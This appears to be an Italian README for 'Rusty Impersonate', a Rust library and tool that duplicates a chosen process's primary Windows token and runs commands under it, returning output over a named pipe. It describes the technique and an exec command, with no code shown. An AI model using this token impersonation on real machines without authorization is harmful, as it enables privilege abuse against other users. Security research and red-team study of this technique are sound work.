Rusty Impersonate
💡 IRS è una versione libreria di https://github.com/zblurx/impersonate-rs, zblurx
Reimplementazione di Defte Impersonate in puro Rust. Per maggiori informazioni, consulta questo post del blog.
L'approccio all'impersonazione dei token è leggermente diverso da quello di Defte Impersonate: qui devi selezionare un PID di cui vuoi impersonare il token primario, poi irs.exe dovrà:
CreateProcessWithTokenW e inviare l'output alla named pipeQuesto approccio ti consente di impersonare qualsiasi utente sul computer di destinazione purché tu abbia privilegi di amministratore (non è necessario NT SYSTEM) ed è utilizzabile sia con che senza GUI.

execIl comando exec apre l'ID del processo target nell'argomento pid, ne duplica il token ed esegue un comando con il nuovo token.
